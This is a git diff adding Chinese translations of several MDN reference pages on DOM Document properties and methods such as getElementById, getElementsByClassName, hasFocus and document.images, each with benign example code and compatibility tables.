diff --git a/files/zh-cn/web/api/document/forms/index.html b/files/zh-cn/web/api/document/forms/index.html new file mode 100644 index 0000000000..12b223e905 --- /dev/null +++ b/files/zh-cn/web/api/document/forms/index.html @@ -0,0 +1,61 @@ +--- +title: Document.forms +slug: Web/API/Document/forms +tags: + - Document.forms +translation_of: Web/API/Document/forms +--- +

{{APIRef("DOM")}}

+ +

forms 返回当前文档中的 {{HTMLElement("form")}}元素的一个集合(一个 {{domxref("HTMLCollection")}})。

+ +

语法

+ +
let collection = document.forms;
+
+ +

例子: 获取表单信息

+ +
<html>
+
+<head>
+<title> document.forms example</title>
+</head>
+
+<body>
+<form id="robby">
+ <input type="button" onclick="alert(document.forms[0].id);"
+ value="robby's form" />
+</form>
+
+<form id="dave">
+ <input type="button" onclick="alert(document.forms[1].id);"
+ value="dave's form" />
+</form>
+
+<form id="paul">
+ <input type="button" onclick="alert(document.forms[2].id);"
+ value="paul's form" />
+</form>
+
+</body>
+</html>
+
+ +

 例子: 获取表单内的元素

+ +
var selectForm = document.forms[index];
+var selectFormElement = document.forms[index].elements[index];
+
+ +

规范

+ +

forms DOM Level 2 HTML: forms

+ +

相关链接

+ + + +

{{ languages( { "ja": "ja/DOM/document.forms", "pl": "pl/DOM/document.forms" , "en": "en/DOM/document.forms" } ) }}

diff --git a/files/zh-cn/web/api/document/fullscreenchange_event/index.html b/files/zh-cn/web/api/document/fullscreenchange_event/index.html new file mode 100644 index 0000000000..7a76557101 --- /dev/null +++ b/files/zh-cn/web/api/document/fullscreenchange_event/index.html @@ -0,0 +1,85 @@ +--- +title: fullscreenchange +slug: Web/API/Document/fullscreenchange_event +translation_of: Web/API/Document/fullscreenchange_event +--- +

fullscreenchange事件当浏览器进入或离开全屏时触发.

+ +

General info

+ +
+
Specification
+
Fullscreen
+
Interface
+
Event
+
Bubbles
+
Yes
+
Cancelable
+
No
+
Target
+
Document
+
Default Action
+
None
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ +

Example

+ +
// Note that the API is still vendor-prefixed in browsers implementing it
+document.addEventListener("fullscreenchange", function( event ) {
+
+    // The event object doesn't carry information about the fullscreen state of the browser,
+    // but it is possible to retrieve it through the fullscreen API
+    if ( document.fullscreenElement !== null ) {
+
+        // The target of the event is always the document,
+        // but it is possible to retrieve the fullscreen element through the API
+        document.fullscreenElement;
+    }
+
+});
+ + + + + +

See also

+ + diff --git a/files/zh-cn/web/api/document/getelementbyid/index.html b/files/zh-cn/web/api/document/getelementbyid/index.html new file mode 100644 index 0000000000..176e2d80a4 --- /dev/null +++ b/files/zh-cn/web/api/document/getelementbyid/index.html @@ -0,0 +1,147 @@ +--- +title: document.getElementById +slug: Web/API/Document/getElementById +tags: + - API + - DOM + - 元素 + - 选择器 +translation_of: Web/API/Document/getElementById +--- +
{{ ApiRef("DOM") }}
+ +

{{domxref("Document")}}的方法 {{domxref("Document.getElementById", "getElementById()")}}返回一个匹配特定 ID的元素. 由于元素的 ID 在大部分情况下要求是独一无二的,这个方法自然而然地成为了一个高效查找特定元素的方法。

+ +

如果需要查找到那些没有ID 的元素,你可以考虑通过CSS选择器使用 {{domxref("Document.querySelector", "querySelector()")}}。

+ +

语法

+ +
var element = document.getElementById(id);
+
+ +

参数

+ + + +

返回值

+ +

返回一个匹配到 ID 的 DOM {{domxref("Element")}} 对象。若在当前 {{domxref("Document")}} 下没有找到,则返回 null。

+ +

示例

+ +

HTML

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <title>getElementById example</title>
+</head>
+<body>
+  <p id="para">Some text here</p>
+  <button onclick="changeColor('blue');">blue</button>
+  <button onclick="changeColor('red');">red</button>
+</body>
+</html>
+
+ +

JavaScript

+ +
function changeColor(newColor) {
+​  var elem = document.getElementById('para');
+  elem.style.color = newColor;
+}
+
+ +

执行结果

+ +

{{ EmbedLiveSample('Example1', 250, 100) }}

+ +

注意

+ +

对 “Id” 的拼写一定要正确。如果大小写不匹配,无论看起来多么合情合理,getElementByID() 都是不合理的且永远都不会工作的。

+ +

不同于其他 Element 查找方法(如{{domxref("Document.querySelector()")}} 以及 {{domxref("Document.querySelectorAll()")}}),getElementById() 只有在作为 document 的方法时才能起作用,而在DOM中的其他元素下无法生效。这是因为 ID 值在整个网页中必须保持唯一。因此没有必要为这个方法创建所谓的 “局部” 版本。

+ +

示例

+ +
<!doctype html>
+<html>
+<head>
+    <meta charset="UTF-8">
+    <title>Document</title>
+</head>
+<body>
+    <div id="parent-id">
+        <p>hello word1</p>
+        <p id="test1">hello word2</p>
+        <p>hello word3</p>
+        <p>hello word4</p>
+    </div>
+    <script>
+        var parentDOM = document.getElementById('parent-id');
+        var test1=parentDOM.getElementById('test1');
+        //抛出错误
+        //(这是一条错误信息)Uncaught TypeError: parentDOM.getElementById is not a function
+    </script>
+</body>
+</html>
+ +

如果没有查找到对应的元素,方法会返回null。注意ID参数是大小写敏感的,所以document.getElementById("Main")无法获取到元素<div id="main">,因为'M'和'm'是不一样的。

+ +

getElementById方法不会搜索不在文档中的元素。当创建一个元素,并且分配ID后,你必须要使用insertBefore或其他类似的方法把元素插入到文档中,之后才能使用 getElementById 获取到:

+ +
var element = document.createElement("div");
+element.id = 'testqq';
+var el = document.getElementById('testqq'); // el 是个 null
+
+ +

非HTML文档(Non-HTML documents)。 DOM的实现必须说明哪个属性是ID类型。只有DTD定义了'id'是ID属性时’id‘才会被认为是ID属性。在 XHTMLXUL或者其他文档中,'id'通常被定义为ID类型的属性。不知道哪个属性是ID类型的实现中,这会返回null结果。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}}{{Spec2('DOM1')}}接口初始定义
{{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}}{{Spec2('DOM2 Core')}}取代DOM 1
{{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}}{{Spec2('DOM3 Core')}}取代DOM 2
{{SpecName('DOM WHATWG','#interface-nonelementparentnode','getElementById')}}{{Spec2('DOM WHATWG')}}准备取代DOM 3
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.getElementById")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/document/getelementsbyclassname/index.html b/files/zh-cn/web/api/document/getelementsbyclassname/index.html new file mode 100644 index 0000000000..ea090774ad --- /dev/null +++ b/files/zh-cn/web/api/document/getelementsbyclassname/index.html @@ -0,0 +1,129 @@ +--- +title: Document.getElementsByClassName() +slug: Web/API/Document/getElementsByClassName +tags: + - API + - DOM + - HTML5 +translation_of: Web/API/Document/getElementsByClassName +--- +

{{APIRef("DOM")}}

+ +

返回一个包含了所有指定类名的子元素的类数组对象。当在document对象上调用时,会搜索整个DOM文档,包含根节点。你也可以在任意元素上调用{{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} 方法,它将返回的是以当前元素为根节点,所有指定类名的子元素。

+ +

语法

+ +
var elements = document.getElementsByClassName(names); // or:
+var elements = rootElement.getElementsByClassName(names);
+ + + +

示例

+ +

获取所有 class 为 'test' 的元素:

+ +
document.getElementsByClassName('test');
+ +

获取所有 class 同时包括 'red' 和 'test' 的元素.

+ +
document.getElementsByClassName('red test');
+ +

在id 为'main'的元素的子节点中,获取所有class为'test'的元素

+ +
document.getElementById('main').getElementsByClassName('test');
+ +

我们还可以对任意的  {{ domxref("HTMLCollection") }} 使用 Array.prototype 的方法,调用时传递  HTMLCollection 作为方法的参数。这里我们将查找到所有class为 'test' 的 div 元素:

+ +
var testElements = document.getElementsByClassName('test');
+var testDivs = Array.prototype.filter.call(testElements, function(testElement){
+    return testElement.nodeName === 'DIV';
+});
+
+ +

获取第一个类名为 test 的元素

+ +

这是 getElementsByClassName() 的通常用法:

+ +
<html>
+<body>
+
+    <div id="parent-id">
+        <p>hello world 1</p>
+        <p class="test">hello world 2</p>
+        <p>hello world 3</p>
+        <p>hello world 4</p>
+    </div>
+
+    <script>
+        var parentDOM = document.getElementById("parent-id");
+
+        var test = parentDOM.getElementsByClassName("test"); // 匹配类名的元素集合,不是元素本身
+        console.log(test); //HTMLCollection[1]
+
+        var testTarget = parentDOM.getElementsByClassName("test")[0]; // 我们想要取到的第一个元素
+        console.log(testTarget); //<p class="test">hello world 2</p>
+    </script>
+</body>
+</html>
+ +

多个 Class 示例

+ +

document.getElementsByClassName 的工作方式与 document.querySelector 和 document.querySelectorAll 很相似。 只有所有 className 都匹配的元素会被选择。

+ +

HTML

+ +
<span class="orange fruit">Orange Fruit</span>
+<span class="orange juice">Orange Juice</span>
+<span class="apple juice">Apple Juice</span>
+<span class="foo bar">Something Random</span>
+<textarea id="resultArea" style="width:100%;height:7em"></textarea>
+ +

JavaScript

+ +
// getElementsByClassName selects partial matches
+var allOrangeJuiceByClass = document.getElementsByClassName('orange juice');
+var result = "document.getElementsByClassName('orange juice')";
+for (var i=0, len=allOrangeJuiceByClass.length|0; i<len; i=i+1|0) {
+    result += "\n  " + allOrangeJuiceByClass[i].textContent;
+}
+
+
+// querySelector only selects full complete matches
+var allOrangeJuiceQuery = document.querySelectorAll('.orange.juice');
+result += "\n\ndocument.querySelectorAll('.orange.juice')";
+for (var i=0, len=allOrangeJuiceQuery.length|0; i<len; i=i+1|0) {
+    result += "\n  " + allOrangeJuiceQuery[i].textContent;
+}
+
+document.getElementById("resultArea").value = result;
+ +

结果

+ +

{{EmbedLiveSample('Multiple_Classes_Example')}}

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-document-getelementsbyclassname', 'document.getElementsByClassName')}}{{Spec2('DOM WHATWG')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Document.getElementsByClassName")}}

diff --git a/files/zh-cn/web/api/document/getelementsbyname/index.html b/files/zh-cn/web/api/document/getelementsbyname/index.html new file mode 100644 index 0000000000..edfbfc10cf --- /dev/null +++ b/files/zh-cn/web/api/document/getelementsbyname/index.html @@ -0,0 +1,95 @@ +--- +title: Document.getElementsByName() +slug: Web/API/Document/getElementsByName +tags: + - API + - DOM + - Document + - HTML + - Method +translation_of: Web/API/Document/getElementsByName +--- +
{{APIRef("DOM")}}
+ +

根据给定的{{domxref("element.name","name")}} 返回一个在 (X)HTML document的节点列表集合。

+ +

语法

+ +
elements = document.getElementsByName(name)
+
+ + + +

例子

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+ ...
+</head>
+
+<body>
+<form name="up"><input type="text"></form>
+<div name="down"><input type="text"></div>
+
+<script>
+var up_forms = document.getElementsByName("up");
+console.log(up_forms[0].tagName); // returns "FORM"
+</script>
+</body>
+</html>
+
+ +

注释

+ +

{{domxref("element.name","name")}} 属性只有在(X)HTML文档中可用。

+ +

该方法返回一个live的 {{domxref("NodeList")}}   集合,这个集合包含 {{domxref("element.name","name")}} 属性为指定值的所有元素,例如{{htmlelement("meta")}} 、{{htmlelement("object")}},甚至那些不支持 {{domxref("element.name","name")}} 属性但是添加了 {{domxref("element.name","name")}} 自定义属性的元素也包含其中。

+ +
+

getElementsByName  在不同的浏览器其中工作方式不同。在IE和Opera中, getElementsByName()  方法还会返回那些 {{domxref("element.id","id")}} 为指定值的元素。所以你要小心使用该方法,最好不要为元素的 {{domxref("element.name","name")}} 和 {{domxref("element.id","id")}} 赋予相同的值。 

+
+ +
+

IE 和 Edge 都返回一个 {{domxref("HTMLCollection")}}, 而不是{{domxref("NodeList")}} 。

+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-getelementsbyname', "Document.getElementsByName()")}}{{ Spec2('HTML WHATWG') }}
{{SpecName("DOM2 HTML", "html.html#ID-71555259", "Document.getElementsByName()")}}{{Spec2("DOM2 HTML")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.getElementsByName")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/document/getelementsbytagname/index.html b/files/zh-cn/web/api/document/getelementsbytagname/index.html new file mode 100644 index 0000000000..9e8120dd11 --- /dev/null +++ b/files/zh-cn/web/api/document/getelementsbytagname/index.html @@ -0,0 +1,98 @@ +--- +title: Document.getElementsByTagName() +slug: Web/API/Document/getElementsByTagName +translation_of: Web/API/Document/getElementsByTagName +--- +
{{ ApiRef("DOM") }}
+ +
 
+ +

返回一个包括所有给定标签名称的元素的HTML集合{{domxref("HTMLCollection")}}。 整个文件结构都会被搜索,包括根节点。返回的 HTML集合是动态的, 意味着它可以自动更新自己来保持和 DOM 树的同步而不用再次调用 document.getElementsByTagName() 。

+ +

语法

+ +
var elements = document.getElementsByTagName(name);
+ + + +
注意: 最新的 W3C 规范 说明这些元素是 HTMLCollection(HTML集合); 然而, 这个方法在WebKit内核的浏览器中返回一个 {{domxref("NodeList")}} 。 更多详情请查看 {{bug(14869)}} 。
+ +

例子

+ +

在以下的例子中,getElementsByTagName() 开始于一个具体的父级元素并且从它自上而下递归地在DOM树中搜索符合标签名称参数的子元素。

+ +

注意调用 getElementsByTagName() 的不是那个文件节点 document,事实上是使用这个方法 {{domxref("element.getElementsByTagName()")}}。

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="UTF-8" />
+  <title>getElementsByTagName example</title>
+  <script>
+    function getAllParaElems() {
+      var allParas = document.getElementsByTagName("p");
+      var num = allParas.length;
+      alert("There are " + num + " paragraph in this document");
+    }
+
+    function div1ParaElems() {
+      var div1 = document.getElementById("div1");
+      var div1Paras = div1.getElementsByTagName("p");
+      var num = div1Paras.length;
+      alert("There are " + num + " paragraph in #div1");
+    }
+
+    function div2ParaElems() {
+      var div2 = document.getElementById("div2");
+      var div2Paras = div2.getElementsByTagName("p");
+      var num = div2Paras.length;
+      alert("There are " + num + " paragraph in #div2");
+    }
+  </script>
+</head>
+<body style="border: solid green 3px">
+  <p>Some outer text</p>
+  <p>Some outer text</p>
+
+  <div id="div1" style="border: solid blue 3px">
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+
+    <div id="div2" style="border: solid red 3px">
+      <p>Some div2 text</p>
+      <p>Some div2 text</p>
+    </div>
+  </div>
+
+  <p>Some outer text</p>
+  <p>Some outer text</p>
+
+  <button onclick="getAllParaElems();">
+    show all p elements in document</button><br />
+
+  <button onclick="div1ParaElems();">
+    show all p elements in div1 element</button><br />
+
+  <button onclick="div2ParaElems();">
+    show all p elements in div2 element</button>
+
+</body>
+</html>
+
+ +

注意

+ +

当在一个HTML 文件上执行时, getElementsByTagName() 会在执行前把参数转换为小写字母。这是试着在一个HTML文件的子树匹配驼峰命名法的 SVG 元素时不希望的。 {{Domxref("document.getElementsByTagNameNS()")}} 在那种情况下会有用. 请查看 {{Bug(499656)}}。

+ +

document.getElementsByTagName() 类似于 {{domxref("element.getElementsByTagName()")}},除了它会搜索整个文档这点。

+ +

参考

+ + diff --git a/files/zh-cn/web/api/document/getelementsbytagnamens/index.html b/files/zh-cn/web/api/document/getelementsbytagnamens/index.html new file mode 100644 index 0000000000..6c6e7cce87 --- /dev/null +++ b/files/zh-cn/web/api/document/getelementsbytagnamens/index.html @@ -0,0 +1,133 @@ +--- +title: Document.getElementsByTagNameNS() +slug: Web/API/Document/getElementsByTagNameNS +translation_of: Web/API/Document/getElementsByTagNameNS +--- +

{{ ApiRef("DOM") }}

+ +
Firefox 3.6 note
+
+请参阅 Notes section of element.getElementsByTagNameNS 中的更改,这些更改同时适用于 Firefox 3.6的API.
+ +

返回带有指定名称和命名空间的元素集合。整个文件结构都会被搜索,包括根节点。

+ +

 

+ +

语法

+ +
elements = document.getElementsByTagNameNS(namespace, name)
+
+ + + +
注意:在W3C文档中,elements是一个 NodeList,而该方法在Gecko内核的浏览器和IE中返回的是HTML集合HTMLCollection. Opera返回的也是一个 NodeList,但通过 namedItem方法 , 使得它类似于一个HTMLCollection . 截止2012年1月,只有WebKit内核的浏览器返回的值是一个纯 NodeList. 详情请参考 bug 14869 .
+ +

示例

+ +

在下面的示例中,getElementsByTagNameNS方法从一个特定的父元素开始,并从该父元素的DOM中自上而下递归式搜索,查找所有与标签名参数匹配的子元素 。

+ +

注意当调用getElementsByTagName方法获取到的节点不是文档节点时,实际上是调用了element.getElementsByTagNameNS方法 。

+ +

需要使用以下示例,只需复制/粘贴以下代码到用.xhtml后缀名保存的新文件中即可。

+ +
<html xmlns="http://www.w3.org/1999/xhtml">
+
+<head>
+<title>getElementsByTagNameNS example</title>
+
+<script type="text/javascript">
+
+function getAllParaElems()
+{
+  var allParas = document.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
+
+  var num = allParas.length;
+
+  alert("There are " + num + " &lt;p&gt; elements in this document");
+}
+
+
+function div1ParaElems()
+{
+  var div1 = document.getElementById("div1")
+  var div1Paras = div1.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
+
+  var num = div1Paras.length;
+
+  alert("There are " + num + " &lt;p&gt; elements in div1 element");
+}
+
+
+function div2ParaElems()
+{
+  var div2 = document.getElementById("div2")
+  var div2Paras = div2.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
+
+  var num = div2Paras.length;
+
+  alert("There are " + num + " &lt;p&gt; elements in div2 element");
+}
+
+</script>
+</head>
+
+<body style="border: solid green 3px">
+<p>Some outer text</p>
+<p>Some outer text</p>
+
+  <div id="div1" style="border: solid blue 3px">
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+
+    <div id="div2" style="border: solid red 3px">
+    <p>Some div2 text</p>
+    <p>Some div2 text</p>
+    </div>
+  </div>
+
+<p>Some outer text</p>
+<p>Some outer text</p>
+
+<button onclick="getAllParaElems();">
+ show all p elements in document</button><br />
+
+<button onclick="div1ParaElems();">
+ show all p elements in div1 element</button><br />
+
+<button onclick="div2ParaElems();">
+ show all p elements in div2 element</button>
+
+</body>
+</html>
+
+ +

针对其他不支持此方法的浏览器的解决方法

+ +

如果所使用的浏览器不支持此方法,可使用另一种方法(例如遍历所有子元素的DOM,识别所有@xmlns实例等等)来查找所有具有本地名称和命名空间的标签,但此方法更快。 (为了兼容 Explorer, 在下面的函数中,你可以调用一个XPath包, 而不仅仅是 XPath (由于 Explorer 支持不同API的XPath ), 例如 this wrapper class.)

+ +
function getElementsByTagNameNSWrapper (ns, elName, doc, context) {
+	if (!doc) {
+		doc = document;
+	}
+	if (!context) {
+		context = doc;
+	}
+
+	var result = doc.evaluate('//*[local-name()="'+elName+'" and namespace-uri() = "'+ns+'"]', context, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
+
+        var a = [];
+        for(var i = 0; i < result.snapshotLength; i++) {
+            a[i] = result.snapshotItem(i);
+        }
+        return a;
+}
+
+ +

规范

+ +

DOM Level 2 Core: Document.getElementsByTagNameNS

diff --git a/files/zh-cn/web/api/document/getselection/index.html b/files/zh-cn/web/api/document/getselection/index.html new file mode 100644 index 0000000000..6141267272 --- /dev/null +++ b/files/zh-cn/web/api/document/getselection/index.html @@ -0,0 +1,14 @@ +--- +title: document.getSelection +slug: Web/API/Document/getSelection +translation_of: Web/API/DocumentOrShadowRoot/getSelection +--- +
+
+

{{APIRef("DOM")}}

+ +

该方法的功能等价于 {{domxref("Window.getSelection()")}} 方法;其返回一个 {{domxref("Selection")}} 对象,表示文档中当前被选择的文本。

+
+
+ +

 

diff --git a/files/zh-cn/web/api/document/hasfocus/index.html b/files/zh-cn/web/api/document/hasfocus/index.html new file mode 100644 index 0000000000..e7386bd4d1 --- /dev/null +++ b/files/zh-cn/web/api/document/hasfocus/index.html @@ -0,0 +1,122 @@ +--- +title: document.hasFocus +slug: Web/API/Document/hasFocus +tags: + - API + - DOM + - 参考 + - 方法 + - 焦点 +translation_of: Web/API/Document/hasFocus +--- +

{{ ApiRef }}

+ +

概述

+ +

Document.hasFocus() 方法返回一个 {{jsxref("Boolean")}},表明当前文档或者当前文档内的节点是否获得了焦点。该方法可以用来判断当前文档中的活动元素是否获得了焦点。

+ +
当查看一个文档时,当前文档中获得焦点的元素一定是当前文档的活动元素,但一个文档中的活动元素不一定获得了焦点.。例如, 一个在后台的窗口中的活动元素一定没有获得焦点。
+ +

语法

+ +
focused = document.hasFocus();
+
+ +

返回值

+ +

如果当前文档的活动元素获得了焦点,返回 true,否则返回false。

+ +

例子

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <style type='text/css'>
+    #message { font-weight: bold; }
+  </style>
+
+<script type='text/javascript'>
+      setInterval("CheckPageFocus()", 200);
+
+      function CheckPageFocus() {
+            var info = document.getElementById("message");
+           if (document.hasFocus()) {
+             info.innerHTML = "该页面获得了焦点.";
+            }
+            else {
+             info.innerHTML = "该页面没有获得焦点.";
+           }
+      }
+
+    function OpenWindow() {
+           window.open ("http://developer.mozilla.org/", "mozdev",
+                     "width=640, height=300, left=150, top=260");
+    }
+</script>
+</head>
+
+<body>
+ document.hasFocus 演示<br /><br />
+<div id="message">等待用户操作</div><br />
+<button onclick="OpenWindow()">打开一个新窗口</button>
+</body>
+</html>
+
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop("1.9") }}6.0{{ CompatNo() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("1.9") }}{{ CompatUnknown() }}{{ CompatNo() }}{{ CompatUnknown() }}
+
+ +

规范

+ + + +

{{ languages( { "en": "en/DOM/document.hasFocus","es": "es/DOM/element.hasFocus", "fr": "fr/DOM/document.hasFocus", "ja": "ja/DOM/document.hasFocus", "pl": "pl/DOM/document.hasFocus" } ) }}

diff --git a/files/zh-cn/web/api/document/hasstorageaccess/index.html b/files/zh-cn/web/api/document/hasstorageaccess/index.html new file mode 100644 index 0000000000..b0f07d0bf8 --- /dev/null +++ b/files/zh-cn/web/api/document/hasstorageaccess/index.html @@ -0,0 +1,49 @@ +--- +title: Document.hasStorageAccess() +slug: Web/API/Document/hasStorageAccess +translation_of: Web/API/Document/hasStorageAccess +--- +
{{APIRef}}{{seecompattable}}
+ +
{{domxref("Document")}}的hasStorageAccess() 方法返回了一个{{jsxref("Promise")}}来判断该文档是否有访问第一方储存的权限。
+ +

通过 Storage Access API 获取更多信息。

+ +

语法

+ +
var promise = document.hasStorageAccess();
+ +

参数

+ +

None.

+ +

返回值

+ +

一个用来判断文档是否有权利访问其第一方存储的{{jsxref("Promise")}} 。

+ +

If the promise gets resolved and a user gesture event was being processed when the function was originally called, the resolve handler will run as if a user gesture was being processed, so it will be able to call APIs that require user activation.

+ +

Examples

+ +
document.hasStorageAccess().then(hasAccess => {
+  if (hasAccess) {
+    // storage access has been granted already.
+  } else {
+    // storage access hasn't been granted already;
+    // you may want to call requestStorageAccess().
+  }
+});
+ +

Specifications

+ +

The API is currently only at the proposal stage — the standardization process has yet to begin. You can currently find specification details of the API at Apple's Introducing Storage Access API blog post, and WHATWG HTML issue 3338 — Proposal: Storage Access API.

+ +

Browser compatibility

+ + + +

{{Compat("api.Document.hasStorageAccess")}}

+ +

See also

+ +

Storage Access API

diff --git a/files/zh-cn/web/api/document/head/index.html b/files/zh-cn/web/api/document/head/index.html new file mode 100644 index 0000000000..a356a8273b --- /dev/null +++ b/files/zh-cn/web/api/document/head/index.html @@ -0,0 +1,72 @@ +--- +title: Document.head +slug: Web/API/Document/head +translation_of: Web/API/Document/head +--- +

{{APIRef}}

+

概述

+

返回当前文档中的 {{ HTMLElement("head") }} 元素。如果有多个 <head> 元素,则返回第一个。

+

语法

+
var objRef = document.head;
+
+

示例

+
// HTML部分源码为: <head id="my-document-head">
+var aHead = document.head;
+
+alert(aHead.id); // "my-document-head";
+
+alert( document.head === document.querySelector("head") ); // true
+
+

附注

+

document.head 是个只读属性,为该属性赋值只会静默失败,如果在严格模式中,则会抛出TypeError异常。

+

浏览器兼容性

+
+ {{CompatibilityTable}}
+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support4.0{{CompatGeckoDesktop("2")}}9.011.05.0
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("2")}}9.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+

规范

+ diff --git a/files/zh-cn/web/api/document/height/index.html b/files/zh-cn/web/api/document/height/index.html new file mode 100644 index 0000000000..8ace6753ec --- /dev/null +++ b/files/zh-cn/web/api/document/height/index.html @@ -0,0 +1,50 @@ +--- +title: Document.height +slug: Web/API/Document/height +translation_of: Web/API/Document/height +--- +
{{APIRef("DOM")}} {{Obsolete_header}}
+ +

 

+ +
+

Note: 在Gecko的6.0版本之后, document.height 不再被支持。 使用 document.body.clientHeight来代替. 详见 {{domxref("element.clientHeight")}}.

+
+ +

返回 {{domxref("document")}} 对象的高度. 在大多数场景中, 它相当于当前文档的 {{HTMLElement("body")}} 元素。

+ +

语法

+ +
pixels = document.height
+
+ +

示例

+ +
// alert document height
+alert(document.height);
+
+ +

可选操作

+ +
document.body.clientHeight
+document.documentElement.clientHeight
+document.documentElement.scrollHeight
+
+ +

规范

+ +

HTML5

+ +

兼容性

+ + + +

{{Compat("api.Document.height")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/document/hidden/index.html b/files/zh-cn/web/api/document/hidden/index.html new file mode 100644 index 0000000000..f9db5934d8 --- /dev/null +++ b/files/zh-cn/web/api/document/hidden/index.html @@ -0,0 +1,44 @@ +--- +title: Document.hidden +slug: Web/API/Document/hidden +translation_of: Web/API/Document/hidden +--- +

{{ ApiRef("DOM") }}

+ +

Document.hidden (只读属性)返回布尔值,表示页面是(true)否(false)隐藏。

+ +

语法

+ +
var string = document.hidden
+ +

例子

+ +
document.addEventListener("visibilitychange", function() {
+  console.log( document.hidden );
+  // Modify behavior...
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Page Visibility API','#dom-document-hidden', 'Document.hidden')}}{{Spec2('Page Visibility API')}}Initial definition.
+ +

浏览器兼容性

+ + + +
+

{{Compat("api.Document.hidden")}}

+
diff --git a/files/zh-cn/web/api/document/images/index.html b/files/zh-cn/web/api/document/images/index.html new file mode 100644 index 0000000000..03ee6eb75d --- /dev/null +++ b/files/zh-cn/web/api/document/images/index.html @@ -0,0 +1,65 @@ +--- +title: document.images +slug: Web/API/Document/images +translation_of: Web/API/Document/images +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Document")}} 接口的只读属性images返回当前文档中所有 image 元素的集合.

+ +

语法

+ +
var imageCollection = document.images;
+ +

+ +

一个 {{domxref("HTMLCollection")}},提供了包含在该文档中的所有images元素实时的列表。 集合中的每条代表了一个单image元素的{{domxref("HTMLImageElement")}}

+ +

备注

+ +

你可以在返回的结果中使用JavaScript 数组符号('[]',译注),或者{{domxref("HTMLCollection.item", "item()")}} 方法去获取集合中的每个元素。下面方法是等价的:

+ +
firstImage = imageCollection.item(0);
+
+firstImage = imageCollection[0];
+ +

例子

+ +

该例是一次通过遍历图片列表找到名称为"banner.gif"的图片。

+ +
var ilist = document.images;
+for(var i = 0; i < ilist.length; i++) {
+    if(ilist[i].src == "banner.gif") {
+         // 发现了banner图片
+    }
+}
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-images', 'Document.images')}}{{ Spec2('HTML WHATWG') }} 
{{SpecName('DOM2 HTML', 'html.html#ID-90379117', 'Document.images')}}{{ Spec2('DOM2 Events') }}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.images")}}

diff --git a/files/zh-cn/web/api/document/implementation/index.html b/files/zh-cn/web/api/document/implementation/index.html new file mode 100644 index 0000000000..473cf729a7 --- /dev/null +++ b/files/zh-cn/web/api/document/implementation/index.html @@ -0,0 +1,68 @@ +--- +title: document.implementation +slug: Web/API/Document/implementation +translation_of: Web/API/Document/implementation +--- +
+ {{ApiRef}}
+

概要

+

返回一个和当前文档相关联的{{domxref("DOMImplementation")}}对象。

+

语法

+
DOMImpObj = document.implementation;
+
+

示例

+
var modName = "HTML";
+var modVer = "2.0";
+var conformTest = document.implementation.hasFeature( modName, modVer );
+
+alert( "DOM " + modName + " " + modVer + " supported?: " + conformTest );
+
+// alerts with: "DOM HTML 2.0 supported?: true" if DOM Level 2 HTML module is supported.
+
+

可以在一致性章节中查看可用的一系列DOM2级模型名称(例如:Core, HTML, XML等等)。

+

说明

+

W3C的DOM1级建议值规定了一种检测浏览器对某个DOM模型是否支持的方法——hasFeature方法(请参考上边的例子以及这篇文章 What does your user agent claim to support?)。如果它可用的话,那么DOMImplementation接口的其他方法就可以为操作文档以外的内容提供一些服务了。例如,DOMImplementation接口包含一个createDocumentType方法,它可以为实例管理的文档创建对应的DTD文档定义。

+

方法

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
名称动作返回值
